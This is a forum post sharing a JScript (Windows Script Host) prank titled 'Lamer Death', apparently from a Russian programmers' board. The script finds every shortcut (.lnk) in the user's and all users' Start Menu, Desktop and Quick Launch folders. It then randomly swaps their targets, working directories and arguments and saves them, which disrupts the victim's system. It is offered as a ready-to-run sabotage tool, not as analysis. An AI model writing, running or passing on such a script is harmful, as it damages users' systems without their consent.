Форум программистов [Powered by Invision Power Board]

Код

/*************************************************************
************************* Script "Lamer Death"******************
************************* author:Pokoinik***********************
*************************************************************/
// скрипт смешивает ярлыки
WScript.Echo("Уверен!!!");
var wsh = WScript.CreateObject("WScript.Shell");
var fso = WScript.CreateObject("Scripting.FileSystemObject");
var Folders = new Array();
var Links = new Array();
function folderEnumerator(oPath)
    {
    var oFolders = fso.GetFolder(wsh.ExpandEnvironmentStrings(oPath));
    var oSubFolders = new Enumerator(oFolders.SubFolders);
    for (;!oSubFolders.atEnd();oSubFolders.moveNext())
        {
        var oFolder = oSubFolders.item();
        Folders[Folders.length] = oFolder;
        folderEnumerator(oPath + "\\" + oFolder.name);
        }
    }
folderEnumerator(wsh.SpecialFolders("StartMenu"));
folderEnumerator(wsh.SpecialFolders("Desktop"));
folderEnumerator(wsh.SpecialFolders("AllUsersDesktop"));
folderEnumerator(wsh.SpecialFolders("AllUsersStartMenu"));
try
{
    var tmp = wsh.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Cookies");
    tmp = tmp.substring(0, tmp.length - 7)+ "Application Data\\Microsoft\\Internet Explorer\\Quick Launch";
    folderEnumerator(tmp);
    //WScript.Echo(tmp);
}catch(e){};

for (var i=0;i<Folders.length;i++)
{
    var oFolder = fso.GetFolder(Folders[i]);
    var oFiles = new Enumerator(oFolder.Files);
    for (;!oFiles.atEnd(); oFiles.moveNext())
        {
        var oFile = oFiles.item();
        var fname = oFile.name;
        if(fname.toUpperCase().indexOf(".LNK") != -1)
        Links[Links.length] = Folders[i]+"\\"+fname;
    }
}
for(var i = 0; i<Links.length;i++)
    {
    var j = Math.floor(Math.random() * (Links.length -1));
    var lnkFirst = wsh.CreateShortcut(Links[i]);
    var lnkSecond = wsh.CreateShortcut(Links[j]);
    var tempPath = lnkFirst.TargetPath;
    lnkFirst.TargetPath = lnkSecond.TargetPath;
    lnkSecond.TargetPath = tempPath;
    var tempWD = lnkFirst.WorkingDirectory;
    lnkFirst.WorkingDirectory = lnkSecond.WorkingDirectory;
    lnkSecond.WorkingDirectory = tempWD;
    var TA = lnkFirst.Arguments;
    lnkFirst.Arguments = lnkSecond.Arguments;
    lnkSecond.Arguments = tempWD;
    lnkFirst.Save();
    lnkSecond.Save();
    }
WScript.Echo("Усё!!!");